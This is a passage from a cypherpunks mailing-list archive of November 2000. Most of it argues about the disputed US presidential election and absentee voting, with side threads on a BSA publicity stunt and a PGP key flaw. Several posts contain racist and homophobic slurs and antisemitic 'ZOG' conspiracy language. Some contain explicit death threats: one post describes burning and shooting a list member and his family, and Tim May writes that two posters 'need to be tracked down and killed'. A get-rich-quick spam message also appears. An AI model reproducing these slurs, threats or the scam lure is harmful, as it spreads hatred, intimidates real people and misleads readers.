Mb: +61 410 581 588 Fx: +61 2 9299 7077 E-mail: dssimpson at kpmg.com.au Smoke Signal: Puff---Puff-Puff-Puff Morse:... .. _ _ ._ _. ... _ _ _ _ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -----Original Message----- From: Neil Johnson [mailto:njohnson at interl.net] Sent: Friday, 10 November 2000 11:27 To: cypherpunks at EINSTEIN.ssz.com; cryptography at c2.net; cypherpunks at cyberpass.net Subject: Re: BSA deploys imaginary pirate software detector vans Wasn't there some articles some time ago about Microsoft doing research into Tempest/Van Eck (sp) radiation ? It was speculated at the time that they were going include software to "broadcast" their serial numbers so that illegal copies could be detected. I wonder how the Supreme is going to rule on that case where the police used an infrared camera to determine they had probable cause to go after a marijuana grower based on the heat radiating from his house ? Neil M. Johnson njohnson at interl.net http://www.interl.net/~njohnson PGP Key Finger Print: 93C0 793F B66E A0C7 CEEA 3E92 6B99 2DCC ----- Original Message ----- From: "R. A. Hettinga" To: ; Sent: Thursday, November 09, 2000 7:05 AM Subject: CDR: BSA deploys imaginary pirate software detector vans > > --- begin forwarded text > > > Date: Thu, 9 Nov 2000 10:13:26 +0000 > To: usual at espace.net > From: Fearghas McKay > Subject: BSA deploys imaginary pirate software detector vans > Reply-To: "Usual People List" > Sender: > List-Subscribe: > > http://www.theregister.co.uk/content/4/14562.html > ------------------------------------------------------------------------ > BSA deploys imaginary pirate software detector vans > By: Kieren McCarthy > Posted: 08/11/2000 at 10:57 GMT > > The Business Software Alliance aka The Pirate Busters is growing so > frustrated in its hopeless efforts to cut down on software piracy > that it has decided propaganda and misinformation is the way forward. > > Visitors to Glasgow Central Station yesterday were surprised to be > confronted by a Ford Transit van with a small radar and rusty Sky > satellite dish mounted on top. What was this apparition? Why, the > BSA's latest weapon in the war against software-stealing scum. > > A wise reader asked one of the "consultants" what exactly the dishes > were able to do and was informed they could detect PCs running > illegal software. When pushed a little further, she admitted the van > was "just a dummy" but the BSA still had a fleet of the real things > rushing around Scotland detecting and nabbing unsuspecting criminals. > > Expressing incredulity, things turned nasty and our loyal reader was > threatened. He'd "better watch out" because the BSA with its new > super software-finding equipment will "get him easily". He quickly > ran off and slid into the shadows before he was photographed and his > face wired to Interpol and the CIA. > > Can you believe this? This has to be one of the most insane things > we've heard in years. The BSA needs to take a valium and lay down for > a bit. ® > > Related Stories > BSA offers £10K bounty to catch software thieves > > --- end forwarded text > > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > ********************************************************************** " This email is intended only for the use of the individual or entity named above and may contain information that is confidential and privileged. If you are not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this Email is strictly prohibited. When addressed to our clients, any opinions or advice contained in this Email are subject to the terms and conditions expressed in the governing KPMG client engagement letter. If you have received this Email in error, please notify us immediately by return email or telephone +61 2 93357000 and destroy the original message. Thank You. " **********************************************************************... From tcmay at got.net Fri Nov 10 16:43:55 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 16:43:55 -0800 Subject: CDR: "We may face a situation like a general nuclear war" Message-ID: Noted presidential historian Michael Beschloss just had a very interesting point on the "Lehrer News Hour" on PBS. He thinks it fairly likely now that the spreading litigation, recounts, and marches in the streets will lead to a situation much like a nuclear war. (For those of you now watching and reading the massive coverage, there are many news developments: New Mexico is now back in the "undecided" category, as additional late votes are counted--including 200 votes mysteriously missing but recovered today, the police and DA's office in Milwaukee are investigating reports that Democrats were offering cartons of cigarettes for votes for Gore and that piles of ballots were handed out in heavily-Democrat precincts, the Iowa, Oregon, and Wisconsin results may be challenged, and a million absentee votes in California have yet to be counted.) Beschloss, by the way, said that this event is "much weirder than Watergate." He said it's a potentially much more serious crisis than Watergate was. And it has developed in 48 hours, not two years. Delicious. Whichever side loses, it will attack the winning side with a new venom. Scorched earth, as Leon Panetta just put it. I like Beschoss' characterization of it as an escalating nuclear war scenario. There's a mass "Re-vote in Florida!" rally happening tomorrow (and the 18th, and perhaps every Saturday afterwards...) in 50 cities and towns. Northern California alone has several of these. I may go to the one in Santa Cruz tomorrow ("Town Clock") and spread what disinformation I can. Delicious. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From wolf at priori.net Fri Nov 10 16:53:48 2000 From: wolf at priori.net (Meyer Wolfsheim) Date: Fri, 10 Nov 2000 16:53:48 -0800 (PST) Subject: CDR: Re: Phil Zimmerman Profiled In-Reply-To: Message-ID: <200011110101.UAA30107@Prometheus.schaefer.nu> A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 1212 bytes Desc: not available URL: From tcmay at got.net Fri Nov 10 16:59:07 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 16:59:07 -0800 Subject: CDR: Re: "We may face a situation like a general nuclear war" In-Reply-To: References: Message-ID: At 4:43 PM -0800 11/10/00, Tim May wrote: >Noted presidential historian Michael Beschloss just had a very >interesting point on the "Lehrer News Hour" on PBS. He thinks it >fairly likely now that the spreading litigation, recounts, and >marches in the streets will lead to a situation much like a nuclear >war. By "like a nuclear war" he meant, and I mean, like the escalation scenarios for a nuclear war. Not the damage effects, unless things get _really_ weird. This was clear from his context, and from general game-theoretic discussions over the years about nuclear war. For example, "use them or lose them," counter-force," "scorched earth," and similar scenarios and metaphors. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ravage at ssz.com Fri Nov 10 15:19:20 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 10 Nov 2000 17:19:20 -0600 (CST) Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011102238.RAA08179@domains.invweb.net> Message-ID: On Fri, 10 Nov 2000, William H. Geiger III wrote: > I am not sure that they would as this seems to go against the 22nd > Amendment. While the 22nd doesn't specifically address an appointed acting > president I doubt that the new congress would be inclined to keep Clinton > around nor would they want to create more problems while trying to > straighten out the current mess. I am also not sure. It's the reason I was asking if this might be a way around the 22nd. After all it isn't an election but an appointment by Congress until the election is resolved. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From michael.k.gilman at lvcm.com Fri Nov 10 17:34:36 2000 From: michael.k.gilman at lvcm.com (Michael Gilman) Date: Fri, 10 Nov 2000 17:34:36 -0800 Subject: CDR: call forwarding trick in Las Vegas Message-ID: <001001c04b7f$a5503200$d81aea18@lvcm.com> Hi, Interesting information, do you have additional info. regarding this issue? I have a friend that could be financially affected by this. How can I help him safeguard his system or discover if his system is currently being tampered with in this manner? Would appreciate any information you can provide me with regarding this issue. Sincerely, Michael Gilman -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 960 bytes Desc: not available URL: From bear at sonic.net Fri Nov 10 17:38:14 2000 From: bear at sonic.net (Ray Dillinger) Date: Fri, 10 Nov 2000 17:38:14 -0800 (PST) Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011102358.SAA16901@www6.aa.psiweb.com> Message-ID: On Fri, 10 Nov 2000 George at orwellian.org wrote: >White Supremacist Tim "I'd like to see a race riot" May Moroned: >White Supremacist Tim "I'd like to see a race riot" May Moroned: Y'all don't get it do you? Tim's not a racist -- racists like race riots because they're about race, and they take sides. As far as I can tell, what Tim is is an antisocial crank. Antisocial cranks like race riots because they're riots, and they really don't give a crap who wins, or whether there's a winner. I'm reasonably sure that a three-way shooting war between sports car enthusiasts, denture wearers, and shoe salesmen would make Tim just as happy as a race riot. Almost anything that carries fear and confusion to the sheeple would get Tim's approval, I think. So don't bag on him for being a racist - that's a much too restrictive and imprecise term for what looks like a far more general philosophy. Insert absolutely straight faces where appropriate; decide for yourselves whether I'm joking or not. While you're at it, try to figure out whether the bald-faced truth can ever also *be* a good-natured joke. Bear From whgiii at openpgp.net Fri Nov 10 14:38:59 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Fri, 10 Nov 2000 17:38:59 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: Message-ID: <200011102238.RAA08179@domains.invweb.net> In , on 11/10/00 at 03:24 PM, Jim Choate said: >On Fri, 10 Nov 2000, Trei, Peter wrote: >> One of the good results of the current stalemate is that many of us are >> getting crash courses in constitutional law. >> >> This is covered by the Presidential Succession Act of 1947. See >> http://www.greatsource.com/amgov/almanac/documents/key/1947_psa_1.html >Actualy it isn't. It's covered by the 20th amendment, section 3. >It also invalidates the point Declan was trying to make on the 12th >(guess he should take his own advice). >http://lcweb2.loc.gov/const/amend.html >Section 3. If, at the time fixed for the beginning of the term of >President, the President elect shall have died, the Vice President elect >shall become President. If a President shall not have been chosen before >the time fixed for the beginning of his term, or if the President elect >shall have failed to qualify, then the Vice President elect shall act as >Presdent until a President shall have qualified; and the Congress may by >law provide for the case wherein neither a President elect nor a Vice >President elect shall have qualified, declaring who shall then act as >President, or the manner in which one who is to act shall be selected, >and such a person shall act accordingly until a President or Vice >President shall have qualified. >Looks to me like Congress could leave Bill in office until this mess is >over. Like I said, is this a new way to win a 3rd term? I am not sure that they would as this seems to go against the 22nd Amendment. While the 22nd doesn't specifically address an appointed acting president I doubt that the new congress would be inclined to keep Clinton around nor would they want to create more problems while trying to straighten out the current mess. Amendment XXII (1951) Section 1. No person shall be elected to the office of the President more than twice, and no person who has held the office of President, or acted as President, for more than two years of a term to which some other person was elected President shall be elected to the office of the President more than once. But this article shall not apply to any person holding the office of President when this article was proposed by the Congress, and shall not prevent any person who may be holding the office of President, or acting as President, during the term within which this article becomes operative from holding the office of President or acting as President during the remainder of such term. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From commerce at home.com Fri Nov 10 14:45:19 2000 From: commerce at home.com (Me) Date: Fri, 10 Nov 2000 17:45:19 -0500 Subject: CDR: Re: Another mental exercise for the absolutists ... References: <090825D1E60BD311B8390090276D5C4965DD15@galileo.luminousnetworks.com> Message-ID: <01cd01c04b67$e7e8eb10$0100a8c0@matthew> ----- Original Message ----- From: "Ernest Hua" > New Mexico appears to be having a problem ... > A computer glitch left out 60K+ ballots. > What would YOU do about it? Are we talking about the equiv bulb burning out on the card reader? Is there any error in the ballot? Is there a chain of evidence, wrt where they have come from? Yes, no, yes: let them in. > For the violently anti-Gore types: This state > appears to be the opposite of New Mexico in New Mexico is the opposite of New Mexico? From Damien at hell.com Fri Nov 10 18:01:36 2000 From: Damien at hell.com (Damien at hell.com) Date: Fri, 10 Nov 2000 18:01:36 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: References: <200011102353.SAA16276@domains.invweb.net> Message-ID: >> If this election does wind up being decided in Congress it will be the >> biggest game of chicken since the Cuban Missle Crises. Should be >> interesting to see who blinks first. > >I've been trying to figure out who might be acceptable on such a short >term notice? BILL From whgiii at openpgp.net Fri Nov 10 15:53:33 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Fri, 10 Nov 2000 18:53:33 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: Message-ID: <200011102353.SAA16276@domains.invweb.net> In , on 11/10/00 at 05:19 PM, Jim Choate said: >On Fri, 10 Nov 2000, William H. Geiger III wrote: >> I am not sure that they would as this seems to go against the 22nd >> Amendment. While the 22nd doesn't specifically address an appointed acting >> president I doubt that the new congress would be inclined to keep Clinton >> around nor would they want to create more problems while trying to >> straighten out the current mess. >I am also not sure. It's the reason I was asking if this might be a way >around the 22nd. After all it isn't an election but an appointment by >Congress until the election is resolved. I am rather torn on the issue. On the one hand leaving Clinton in would lend an appearance of stability "we are not changing anything until we get this mess sorted out" while on the other hand I feel that it would interfere with the principle that "the office is stronger than any one man". We have dealt with war & assassinations and still have been able to change Presidents without problems. As things look right now I don't see the US facing any immediate crises that would mandate keeping Clinton in office (something major like nukes going off, full scale domestic revolt, ...ect) so I am leaning to congress appointing someone other than him to act as acting President until the mess is straightened out. Wether that person is a Democrat or a Republican doesn't seem that important as he really wouldn't be doing anything unless we wind up at war with someone. If this election does wind up being decided in Congress it will be the biggest game of chicken since the Cuban Missle Crises. Should be interesting to see who blinks first. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From George at Orwellian.Org Fri Nov 10 15:58:05 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Fri, 10 Nov 2000 18:58:05 -0500 (EST) Subject: CDR: Re: A successful lawsuit means Gore wins! Message-ID: <200011102358.SAA16901@www6.aa.psiweb.com> White Supremacist Tim "I'd like to see a race riot" May Moroned: # I sort of hope the hundreds of lawyers sent down to # Florida by the Gore Team succeed in throwing the # election to Gore. Yes, the closely recounted votes will turn to Gore. Gore will be president. White Supremacist Tim "I'd like to see a race riot" May Moroned: # I don't expect hordes in the countryside, but we could see some # the Welfare Mutants and Inner City Maggots rioting, looting, # and shitting in their own nests. Most of South-Central LA remains # boarded up and economically wasted, which I think is poetic # justice. Let the Democrat "maggots and faggots" deal with Jesse # Jackson's promised race war. You've been specially targeted. The superior mutants (any mutants) will be setting your place on fire, and pick you and your family off should you decide not to be human marshmellows. Your burnt/shotup corpse will be positioned as typing on a terminal, with a final and appropriately humble message typed on the screen. That's what uppity minorities like you deserve. From rem4me at be.tf Fri Nov 10 19:01:00 2000 From: rem4me at be.tf (rem4me at be.tf) Date: Fri, 10 Nov 2000 19:01:00 -0800 (PST) Subject: CDR: 1000% for 5 days! Perfect HOME WORK! -HJVK Message-ID: <200011110301.TAA22884@cyberpass.net> Dear cypherpunks! Last chance! Harry!! Make 1000% for 5 days with the most known Perfect Home Business System! Start Home Work NOW! TIME to Begin Own Internet Home Business! Make REAL MONEY TODAY! Just go to any of mirrors: http://www.geocities.com/ownbizaf/ http://www.virtue.nu/ownbizaf/ **************************************************************** ******** This message is sent in compliance of the proposed bill: SECTION 301. Per Section 301, Paragraph (a)(2)(C) of S. 1618, further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply to to this email address with the word REMOVE in the subject line. From gil_hamilton at hotmail.com Fri Nov 10 11:08:07 2000 From: gil_hamilton at hotmail.com (Gil Hamilton) Date: Fri, 10 Nov 2000 19:08:07 GMT Subject: CDR: Re: Rants and sour grapes ... Message-ID: Ernest Hua writes: >It is abundantly clear to me that much of the ranting going on here on this >list is at least 50% sour grapes. > >Not to pick on Tim, but he just seems like a convenient example; it is >clear in Tim's mind that he does not want the possibility of Gore being the >next president. He may have some procedural reasons to back this rant up, >but he definitely does not like Gore. You arrogant pinhead. It is you who have been whining that these poor dimwitted voters in Palm Beach County must be allowed to vote again; after all, "the voters should get what they want." In any case, if they did hold a revote in Palm Beach County, what happens after that? What if Bush is still ahead and there are more spoiled ballots? What if Gore is ahead, but there are spoiled ballots? Or, is the objective to just allow them to re-vote again and again until you and Gore get the outcome you're looking for? And what about other states? There were spoiled ballots in every state and probably every precinct, and I have no doubt there was some idiot confused by the ballot in every such case. What is the threshold at which we allow that state or precinct to vote over again? I'm beginning to think Tim is right: The fuse on this powder keg is lit. The NAACP and its ilk, along with Gore partisans like you, will never accept the outcome of this election. And holding a re-vote is the beginning of the end. Republicans aren't likely to let the Dems get away with stealing it back. In the end, I guess Slick Willie will just have to declare himself dictator-for-life and invoke martial law to "maintain order". Better stock up on ammo, folks. (Maybe Y2K was just a few months late.) - GH _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From whgiii at openpgp.net Fri Nov 10 16:46:50 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Fri, 10 Nov 2000 19:46:50 -0500 Subject: CDR: Re: Late-postmarked ballots from ZOG-occupied Palestine In-Reply-To: Message-ID: <200011110046.TAA21999@domains.invweb.net> In , on 11/10/00 at 06:32 PM, Tim May said: >I have no idea. >The solution has been obvious for a long time: absentee ballots must be >received by the close of business on the polling day. Those who know >they are going to be out of their voting area must mail their ballots in >time to arrive. This eliminates this particular hazard. Eliminate them completely would be an even simpler solution. Too many people give elections the proper respect that they deserve. You go and plan your vacation at voting time too bad you made your choice. The only ones that have any legitimate excuse for not being in the town that they are registered to vote is those that are either on military deployment or in the diplomatic corps. Polling stations can be set up on military bases and US Embassies to accommodate the majority that fall into those catagories. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From tcmay at got.net Fri Nov 10 19:53:58 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 19:53:58 -0800 Subject: CDR: Greetins from ZOG-occupied Palestine In-Reply-To: References: Message-ID: At 8:34 PM -0600 11/10/00, Phaedrus wrote: >On Fri, 10 Nov 2000 auto9950013 at hushmail.com wrote: > >> Tim May, the heavily armed hate monger who refers to ZOG, and , his extreme >> right wing malitia friends have missed there chance. >> Certainly the 400 of us needed killing before we influence the American >> Presidential election. > >actually, since ballots were supposed to be postmarked two days ago, >killing you now wouldn't help (even if I were for it, which I'm not, >personally) unless something very bad were going on.... I'm not so sure...killing auto 9950013 at hushmail.com may still be useful. I think I know who george at orwellian.org is, based on text comparisons. My guess is that both of them need to be tracked down and killed. Allah will know his own. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ravage at ssz.com Fri Nov 10 17:57:01 2000 From: ravage at ssz.com (Jim Choate) Date: Fri, 10 Nov 2000 19:57:01 -0600 (CST) Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011102353.SAA16276@domains.invweb.net> Message-ID: On Fri, 10 Nov 2000, William H. Geiger III wrote: > ...ect) so I am leaning to congress appointing someone other than him to > act as acting President until the mess is straightened out. Wether that > person is a Democrat or a Republican doesn't seem that important as he > really wouldn't be doing anything unless we wind up at war with someone. > > If this election does wind up being decided in Congress it will be the > biggest game of chicken since the Cuban Missle Crises. Should be > interesting to see who blinks first. I've been trying to figure out who might be acceptable on such a short term notice? ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From tcmay at got.net Fri Nov 10 17:05:00 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 20:05:00 -0500 Subject: CDR: Re: Late-postmarked ballots from ZOG-occupied Palestine In-Reply-To: <200011110046.TAA21999@domains.invweb.net> References: <200011110046.TAA21999@domains.invweb.net> Message-ID: At 7:46 PM -0500 11/10/00, William H. Geiger III wrote: >In , on 11/10/00 > at 06:32 PM, Tim May said: > >>I have no idea. > >>The solution has been obvious for a long time: absentee ballots must be >>received by the close of business on the polling day. Those who know >>they are going to be out of their voting area must mail their ballots in >>time to arrive. This eliminates this particular hazard. > >Eliminate them completely would be an even simpler solution. Too many >people give elections the proper respect that they deserve. You go and >plan your vacation at voting time too bad you made your choice. The only >ones that have any legitimate excuse for not being in the town that they >are registered to vote is those that are either on military deployment or >in the diplomatic corps. Polling stations can be set up on military bases >and US Embassies to accommodate the majority that fall into those >catagories. I would support this as well. The craziest aspect of "absentee ballots" is that some people move away from their original registration places and then vote absentee for years, even decades. My father and mother, for example, voted absentee with a California ballot for 15 years of living in Virginia, France, and Maryland. Only when our family lived in France for a year could they have justifiably claimed to be "absentee residents." And this is not rare. Absentee ballots are a lot more than being about people who are temporarily away from their homes. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bill.stewart at pobox.com Fri Nov 10 17:20:02 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Fri, 10 Nov 2000 20:20:02 -0500 Subject: CDR: Re: Late-postmarked ballots from ZOG-occupied Palestine In-Reply-To: <200011110046.TAA21999@domains.invweb.net> References: Message-ID: <3.0.5.32.20001110171807.00afda20@idiom.com> At 07:46 PM 11/10/00 -0500, William H. Geiger III wrote: >Eliminate them completely would be an even simpler solution. Too many >people give elections the proper respect that they deserve. You go and >plan your vacation at voting time too bad you made your choice. The only >ones that have any legitimate excuse for not being in the town that they >are registered to vote is those that are either on military deployment or >in the diplomatic corps. Polling stations can be set up on military bases >and US Embassies to accommodate the majority that fall into those >catagories. Oh, nonsense. Sometimes you've got business to do. Sometimes your family is sick. Sometimes you're sick. Oregon's vote-by-mail thing was interesting, if a bit slow, though as with the Internet, it offers a range of choices for voting early and often that differ from the go-to-the-polls ones. BTW, did you leave out a "don't" in that second sentence? Or did you mean people really *do* give government the (dis)respect it deserves. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From mnorton at cavern.uark.edu Fri Nov 10 18:24:51 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Fri, 10 Nov 2000 20:24:51 -0600 (CST) Subject: CDR: Re: Greetins from ZOG-occupied Palestine In-Reply-To: <200011110211.SAA13037@user3.hushmail.com> Message-ID: If you could spell, or type, correctly, I'd have a little more respect for your posts. There is not their. If English is not your first language and you need some off-line advice about homophones, I'll be glad to help. MacN On Fri, 10 Nov 2000 auto9950013 at hushmail.com wrote: > Tim May, the heavily armed hate monger who refers to ZOG, and , his extreme > right wing malitia friends have missed there chance. > Certainly the 400 of us needed killing before we influence the American > Presidential election. > > > > > At 03:26 PM 11/10/00 , Tim May wrote: > > > >Now we hear of calls urging dual-citizenship residents of > >ZOG-occupied Palestine to send in absentee ballots to Florida, > >especially for the estimated 400 dual-citizenship, or visiting > >tourists, from Palm Beach County. > > > >The claim is that if they can "prove" they were unable to have them > >postmarked by the time polls closed in Florida, due to the violence > >or whatever, that maybe they will still be allowed in. (And I > >wouldn't put it past the ZOG to rig the postmarks and then put the > >ballots on a fast jet to Florida.) > > From phaedrus at sdf.lonestar.org Fri Nov 10 18:34:35 2000 From: phaedrus at sdf.lonestar.org (Phaedrus) Date: Fri, 10 Nov 2000 20:34:35 -0600 (CST) Subject: CDR: Greetins from ZOG-occupied Palestine In-Reply-To: <200011110211.SAA13037@user3.hushmail.com> Message-ID: On Fri, 10 Nov 2000 auto9950013 at hushmail.com wrote: > Tim May, the heavily armed hate monger who refers to ZOG, and , his extreme > right wing malitia friends have missed there chance. > Certainly the 400 of us needed killing before we influence the American > Presidential election. actually, since ballots were supposed to be postmarked two days ago, killing you now wouldn't help (even if I were for it, which I'm not, personally) unless something very bad were going on.... Ph. From auto9950013 at hushmail.com Fri Nov 10 17:58:39 2000 From: auto9950013 at hushmail.com (auto9950013 at hushmail.com) Date: Fri, 10 Nov 2000 20:58:39 -0500 (EST) Subject: CDR: Greetins from ZOG-occupied Palestine Message-ID: <200011110211.SAA13037@user3.hushmail.com> Tim May, the heavily armed hate monger who refers to ZOG, and , his extreme right wing malitia friends have missed there chance. Certainly the 400 of us needed killing before we influence the American Presidential election. At 03:26 PM 11/10/00 , Tim May wrote: > >Now we hear of calls urging dual-citizenship residents of >ZOG-occupied Palestine to send in absentee ballots to Florida, >especially for the estimated 400 dual-citizenship, or visiting >tourists, from Palm Beach County. > >The claim is that if they can "prove" they were unable to have them >postmarked by the time polls closed in Florida, due to the violence >or whatever, that maybe they will still be allowed in. (And I >wouldn't put it past the ZOG to rig the postmarks and then put the >ballots on a fast jet to Florida.) > From mix at mixmaster.ceti.pl Fri Nov 10 12:00:02 2000 From: mix at mixmaster.ceti.pl (Anonymous Remailer) Date: Fri, 10 Nov 2000 21:00:02 +0100 (CET) Subject: CDR: Authenticating John Young Message-ID: <8d050ddb3708bc669fb782ccb9ac4f4d@mixmaster.ceti.pl> John, It would be nice if you start to sign everything you post on cryptome, so once you really get abducted theyll have to rubberhose you for the passphrase as well ... From maxinux at openpgp.net Fri Nov 10 18:29:25 2000 From: maxinux at openpgp.net (Max Inux) Date: Fri, 10 Nov 2000 21:29:25 -0500 Subject: CDR: Re: Phil Zimmerman Profiled In-Reply-To: <200011110101.UAA30107@Prometheus.schaefer.nu> Message-ID: On Fri, 10 Nov 2000, Meyer Wolfsheim wrote: >On Fri, 10 Nov 2000, Max Inux wrote: > >> >Heh. A random number generator that produces an output of all zeros. Small >> >flaw. No biggie. >> >> Except for the me that generated a key that was vulnerable to that >> 0x149DCDDC However I believe there was an email attached to that and the >> signatures to that key, but apparently not anymore =) And its a big deal, >> can you say 0 strength key? > >Sigh. No one seems to have an appreciation of sarcasm anymore. > >The vulnerability was, of course, quite serious. The only way NAI dodged >the bad publicity the bullet was by saying that no one was affected. > >Are you saying they lied? Can you prove your key was affected? The key was/is on the key server publish well prior to the anouncement of the bug, actually I believe I published it about a week after PGP 5.0 for Linux was released. You have the Key ID, grab it from the server. I know it was affected due to a phone call I got at 3:00 am the morning after the bug was discovered. when they looked through the key server for any key vulnerable. Useride: khercs 0x149DCDDC DH/DSS 4096/1024 10/18/1997 Never IDEA C2FC 876D 2D59 1710 7DA2 12FD 2948 FD98 149D CDDC William Tiemann 0xE42A7FB1 http://www.openpgp.net Key fingerprint = E4CA 2B4F 24FC B1BF E671 52D0 9E4B A590 E42A 7FB1 If crypto is outlawed only outlaws will have crypto. From johndoe2 at mail.anonymizer.com Fri Nov 10 19:31:31 2000 From: johndoe2 at mail.anonymizer.com (John Doe Number Two) Date: Fri, 10 Nov 2000 21:31:31 -0600 Subject: CDR: Re: call forwarding trick in Las Vegas In-Reply-To: <001001c04b7f$a5503200$d81aea18@lvcm.com> Message-ID: Michael, Of course we can help you. Please send us the name, address and telephone number of your friend and we will be glad to help. Yours in Science, John on 10.11.00 19:34, Michael Gilman at michael.k.gilman at lvcm.com wrote: > Hi, > > Interesting information, do you have additional info. regarding this issue? I > have a friend that could be financially affected by this. How can I help him > safeguard his system or discover if his system is currently being tampered > with in this manner? Would appreciate any information you can provide me with > regarding this issue. > > Sincerely, > > Michael Gilman > "Insert the usual disclaimer here." Key ID: 0x8EF048F5 4093 Bit DH/DSS Fingerprint: CC8F 8D2C E1A3 6555 7438 B456 D00E A83C 8EF0 48F5 From auto9950013 at hushmail.com Fri Nov 10 18:33:36 2000 From: auto9950013 at hushmail.com (auto9950013 at hushmail.com) Date: Fri, 10 Nov 2000 21:33:36 -0500 (EST) Subject: CDR: Re: Greetings from ZOG-occupied Palestine Message-ID: <200011110242.SAA14862@user3.hushmail.com> If you need to help anyone it should be Tim May and his anti Jewish malitia friends. They missed a lot of chances to completely exterminate us. But as you see, the 400 of us are now ready to take over the American government. At Fri, 10 Nov 2000 20:24:51 -0600 (CST), Mac Norton wrote: > >If you could spell, or type, correctly, I'd have a little >more respect for your posts. There is not their. If >English is not your first language and you need some >off-line advice about homophones, I'll be glad to help. >MacN > >On Fri, 10 Nov 2000 auto9950013 at hushmail.com wrote: > >> Tim May, the heavily armed hate monger who refers to ZOG, and , his >extreme >> right wing malitia friends have missed there chance. >> Certainly the 400 of us needed killing before we influence the American >> Presidential election. >> >> >> >> >> At 03:26 PM 11/10/00 , Tim May wrote: >> > >> >Now we hear of calls urging dual-citizenship residents of >> >ZOG-occupied Palestine to send in absentee ballots to Florida, >> >especially for the estimated 400 dual-citizenship, or visiting >> >tourists, from Palm Beach County. >> > >> >The claim is that if they can "prove" they were unable to have them >> >postmarked by the time polls closed in Florida, due to the violence >> >or whatever, that maybe they will still be allowed in. (And I >> >wouldn't put it past the ZOG to rig the postmarks and then put the >> >ballots on a fast jet to Florida.) >> > > From dmolnar at hcs.harvard.edu Fri Nov 10 18:34:56 2000 From: dmolnar at hcs.harvard.edu (dmolnar) Date: Fri, 10 Nov 2000 21:34:56 -0500 Subject: CDR: Re: Late-postmarked ballots from ZOG-occupied Palestine In-Reply-To: <3.0.5.32.20001110171807.00afda20@idiom.com> Message-ID: On Fri, 10 Nov 2000, Bill Stewart wrote: > At 07:46 PM 11/10/00 -0500, William H. Geiger III wrote: > >Eliminate them completely would be an even simpler solution. Too many > >people give elections the proper respect that they deserve. You go and > >plan your vacation at voting time too bad you made your choice. The only > >ones that have any legitimate excuse for not being in the town that they > >are registered to vote is those that are either on military deployment or > >in the diplomatic corps. Polling stations can be set up on military bases > >and US Embassies to accommodate the majority that fall into those > >catagories. > > Oh, nonsense. Sometimes you've got business to do. > Sometimes your family is sick. Sometimes you're sick. Sometimes you're in school. I am currently in 